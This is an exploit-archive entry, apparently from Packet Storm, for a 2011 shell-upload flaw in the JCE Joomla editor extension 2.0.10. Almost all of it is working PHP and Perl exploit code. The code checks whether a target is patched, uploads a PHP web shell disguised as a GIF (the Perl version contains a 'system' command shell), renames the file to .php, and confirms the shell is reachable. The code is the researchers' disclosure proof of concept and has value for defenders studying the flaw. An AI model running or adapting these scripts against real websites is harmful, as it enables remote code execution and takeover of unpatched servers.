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Joomla JCE 2.0.10 Shell Upload

🗓️ 12 Oct 2011 00:00:00Reported by AmnPardaz Security Research TeamType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 45 Views

Joomla JCE 2.0.10 Shell Upload vulnerability and vendor patc

Code
`After release of vendor supplied patch for JCE's vulnerabilities,   
AmnPardaz is going to submit related POC for this issue in Perl and   
PHP after one month for educational purposes.  
  
PHP Version:  
<?php  
######################################### www.bugreport.ir   
########################################  
#  
# AmnPardaz Security Research & Penetration Testing Group  
#  
#  
# Title: Exploit for JCE Joomla Extension (Auto Shell   
Uploader) V0.1 - PHP Version  
# Vendor: http://www.joomlacontenteditor.net  
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)  
# Exploitation: Remote with browser  
# Original Advisory: http://www.bugreport.ir/index_78.htm  
# Vendor supplied patch:   
http://www.joomlacontenteditor.net/news/item/jce-2011-released  
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5  
# Coded By: Mostafa Azizi  
###################################################################################################  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo'<html>  
<head>  
<title>JCE Joomla Extension Remote File Upload</title>  
</head>  
  
<body bgcolor="#00000">  
  
<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension   
Remote File Upload</font></p>  
</font>  
<table width="90%">  
<tbody>  
<tr>  
<td width="43%" align="left">  
<form name="form1" action="'.$SERVER[PHP_SELF].'"   
enctype="multipart/form-data" method="post">  
<p></font><font color="#00ff00" > hostname   
(ex:www.sitename.com): </font><input name="host" size="20"> <span   
class="Stile5"><font color="#FF0000">*</span></p>  
<p></font><font color="#00ff00" > path (ex: /joomla/ or   
just / ): </font><input name="path" size="20"> <span   
class="Stile5"><font color="#FF0000">*</span></p>  
<p></font><font color="#00ff00" >Please specify a file to upload:   
</font><input type="file" name="datafile" size="40"><font   
color="#FF0000"> * </font>  
<p><font color="#00ff00" > specify a port (default is 80):   
</font><input name="port" size="20"><span   
class="Stile5"></span></p>  
<p><font color="#00ff00" > Proxy (ip:port):   
</font><input name="proxy" size="20"><span   
class="Stile5"></span></p>  
<p align="center"> <span class="Stile5"><font   
color="#FF0000">* </font><font color="white" >fields are   
required</font></font></span></p>  
<p><input type="submit" value="Start" name="Submit"></p>  
</form>  
</td>  
</tr>  
</tbody>  
</table>  
</body></html>';  
  
function sendpacket($packet,$response = 0,$output = 0,$s=0)  
{  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
global $proxy, $host, $port, $html, $user, $pass;  
if ($proxy == '')  
{  
$ock = fsockopen($host,$port);  
stream_set_timeout($ock, 5);  
if (!$ock)  
{  
echo '<font color=white> No response from '.htmlentities($host).'   
...<br></font>';  
die;  
}  
} else  
{  
$parts = explode(':',$proxy);  
echo '<font color=white>Connecting to proxy:   
'.$parts[0].':'.$parts[1].' ...<br><br/></font>';  
$ock = fsockopen($parts[0],$parts[1]);  
stream_set_timeout($ock, 5);  
if (!$ock)  
{  
echo '<font color=white>No response from proxy...<br></font>';  
die;  
}  
}  
  
fputs($ock,$packet);  
if ($response == 1)  
{  
if ($proxy == '')  
{  
$html = '';  
while (!feof($ock))  
{  
$html .= fgets($ock);  
}  
} else  
{  
$html = '';  
while ((!feof($ock)) or   
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html .= fread($ock,1);  
}  
}  
} else $html = '';  
  
fclose($ock);  
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));  
if ($s==1){  
$count=0;  
$res=nl2br(htmlentities($html));  
$str =   
array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');  
foreach ($str as $value){  
$pos = strpos($res, $value);  
if ($pos === false) {  
$count=$count++;  
} else {  
echo "<font color=white>Target patched.<br/><br/></font>";  
die();  
}  
}  
if ($count=10) echo '<font color=white>Target is   
exploitable.<br/><br/></font>';  
}  
}  
  
$host = $_POST['host'];  
$path = $_POST['path'];  
$port = $_POST['port'];  
$proxy = $_POST['proxy'];  
  
if (isset($_POST['Submit']) && $host != '' && $path != '')  
{  
  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font   
color=white>Error... check the path!</font>');}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
$host=str_replace("\r\n","",$host);  
$path=str_replace("\r\n","",$path);  
  
  
/* Packet 1 --> Checking Exploitability */  
$packet = "GET   
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20   
HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";  
  
sendpacket($packet,1,0,1);  
  
/* Packet 2 --> Uploading shell as a gif file */  
  
$content = "GIF89a1\n";  
$content .= file_get_contents($_FILES['datafile']['tmp_name']);  
$data = "-----------------------------41184676334\r\n";  
$data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";  
$data .= "/\r\n";  
$data .= "-----------------------------41184676334\r\n";  
$data .= "Content-Disposition: form-data; name=\"Filedata\";   
filename=\"\"\r\n";  
$data .= "Content-Type: application/octet-stream\r\n\r\n\r\n";  
$data .= "-----------------------------41184676334\r\n";  
$data .= "Content-Disposition: form-data;   
name=\"upload-overwrite\"\r\n\r\n";  
$data .= "0\r\n";  
$data .= "-----------------------------41184676334\r\n";  
$data .= "Content-Disposition: form-data; name=\"Filedata\";   
filename=\"0day.gif\"\r\n";  
$data .= "Content-Type: image/gif\r\n\r\n";  
$data .= "$content\r\n";  
$data .= "-----------------------------41184676334\r\n";  
$data .= "0day\r\n";  
$data .= "-----------------------------41184676334\r\n";  
$data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";  
$data .= "upload\r\n";  
$data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";  
$packet = "POST   
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743   
HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";  
$packet .= "Content-Type: multipart/form-data;   
boundary=---------------------------41184676334\r\n";  
$packet .= "Accept-Language: en-us,en;q=0.5\r\n";  
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";  
$packet .= "Cookie:   
6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743;   
jce_imgmanager_dir=%2F;   
__utma=216871948.2116932307.1317632284.1317632284.1317632284.1;   
__utmb=216871948.1.10.1317632284; __utmc=216871948;   
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";  
$packet .= "Connection: Close\r\n";  
$packet .= "Proxy-Connection: close\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";  
$packet .= $data;  
  
sendpacket($packet,0,0,0);  
  
/* Packet 3 --> Change Extension from .gif to .php */  
  
  
$packet = "POST   
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20   
HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";  
$packet .= "Accept:   
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  
$packet .= "Accept-Language: en-US,en;q=0.8\r\n";  
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded;   
charset=utf-8\r\n";  
$packet .= "Accept-Encoding: deflate\n";  
$packet .= "X-Request: JSON\r\n";  
$packet .= "Cookie:   
__utma=216871948.2116932307.1317632284.1317639575.1317734968.3;   
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);   
__utmb=216871948.20.10.1317734968; __utmc=216871948;   
jce_imgmanager_dir=%2F;   
6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";  
$ren   
="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";  
$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";  
$packet .= $ren."\r\n\r\n";  
  
sendpacket($packet,1,0,0);  
  
/* Packet 4 --> Check for successfully uploaded */  
  
  
$packet = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";  
  
sendpacket($packet,1,0,0);  
  
if(stristr($html , '200 OK') != true)  
{echo "<font color=white>Exploit Faild...</font>";} else echo   
"<font color=white>Exploit   
Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";  
}  
?>  
  
  
  
Perl Version:  
  
######################################### www.bugreport.ir   
########################################  
#  
# AmnPardaz Security Research & Penetration Testing Group  
#  
#  
# Title: Exploit for JCE Joomla Extension (Auto Shell   
Uploader) V0.1 - PHP Version  
# Vendor: http://www.joomlacontenteditor.net  
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)  
# Exploitation: Remote with browser  
# Original Advisory: http://www.bugreport.ir/index_78.htm  
# Vendor supplied patch:   
http://www.joomlacontenteditor.net/news/item/jce-2011-released  
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5  
# Coded By: Mostafa Azizi  
###################################################################################################  
use IO::Socket;  
use LWP::Simple;  
system("cls");  
if(!defined($ARGV[0])) {  
print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell   
Uploader) V0.1 .::.\n\n";  
print "\t|||| Coded by: Mostafa Azizi (admin[@]0-Day[dot]net)   
||||\n\n";  
print "\t+--> Usage: perl $0 <host> <--+\n";  
print "\t+--> Example: perl $0 localhost <--+\n\n";  
exit; }  
print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell   
Uploader) V0.1 .::.\n\n";  
print "\t|||| Coded by: Mostafa Azizi (admin[@]0-Day[dot]net)   
||||\n\n";  
$TARGET = $ARGV[0];  
$PORT = "80";  
$SCRIPT =   
"/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20";  
$SHELL = "/images/stories/0day.php?cmd=";  
$HTTP = "http://";  
  
$header1G = "GET $SCRIPT HTTP/1.1";  
$header1H = "HEAD /images/stories/0day.php HTTP/1.1";  
$header1P = "POST   
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b   
HTTP/1.1";  
$header1P2 = "POST   
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20   
HTTP/1.1";  
$header2 = "Host: $TARGET";  
$header3 = "User-Agent: BOT/0.1 (BOT for JCE)";  
$header4 = "Content-Type: multipart/form-data;   
boundary=---------------------------41184676334";  
$header5 = "Content-Length: 769";  
$header6 = "-----------------------------41184676334";  
$header7 = 'Content-Disposition: form-data; name="upload-dir"';  
$header8 = '/';  
$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';  
$header10 = 'Content-Type: application/octet-stream';  
$header11 = 'Content-Disposition: form-data; name="upload-overwrite"';  
$header12 = "0";  
$header13 = 'Content-Disposition: form-data; name="Filedata";   
filename="0day.gif"';  
$header14 = 'Content-Type: image/gif';  
$header15 = 'GIF89aG';  
$header16 = "<? system(\$_GET['cmd']\);exit; ?>";  
$header17 = 'Content-Disposition: form-data; name="upload-name"';  
$header18 = '0day';  
$header19 = 'Content-Disposition: form-data; name="action"';  
$header20 = 'upload';  
$header21 = "-----------------------------41184676334--";  
$header22 = 'X-Request: JSON';  
$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';  
$header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}';  
$header24 = "Content-Length: ".length($header25)."";  
  
############################################### Packet 1 --> Checking   
Exploitability #########################################################  
print "\n[*] Checking Exploitability ...\n\n";  
sleep 2;  
$pageURL=$TARGET.$SCRIPT;  
$simplePage=get($pageURL);  
@arr =   
("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15</title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7.13</title","1.5.7.14</title");  
while (($count!=10) && ($die != 1)) {  
foreach $arr(@arr){  
if ($simplePage =~ m/$arr/) {  
print "\n[*] Target patched.\n\n";  
$die = 1;  
} else {  
$count++;  
}  
}  
}  
if ($count==5) {print "[*] Target is exploitable.\n\n"};  
############################################### Packet 2 --> Uploading   
shell as a gif file   
#########################################################  
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET"   
,PeerPort=>"$PORT")  
|| die "Can't connect to $TARGET";  
print "[*] Trying to upload 0day.gif ...\n\n";  
print $remote   
"$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";  
sleep 2;  
############################################### Packet 3 --> Change   
Extension from .gif to .php   
#########################################################  
print "[*] Trying to change extension from .gif to .php ...\n\n";  
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET"   
,PeerPort=>"$PORT")  
|| die "Can't connect to $TARGET";  
print $remote   
"$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";  
############################################### Packet 4 --> Check for   
successfully uploaded   
#########################################################  
$shellurl=$TARGET.$SHELL;  
$output=get($shellurl);  
while ($output = <$remote> ) {  
if ($output =~ /200 OK/) {  
print "[+] 0day.php was successfully uploaded\n\n";  
print "[+] Path:".$TARGET.$SHELL."id\n";  
}}  
`

Data

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12 Oct 2011 00:00Current
7.4High risk
Vulners AI Score7.4
joomlajceshell uploadphp versionvulnerable versionremote exploitationvendor patch
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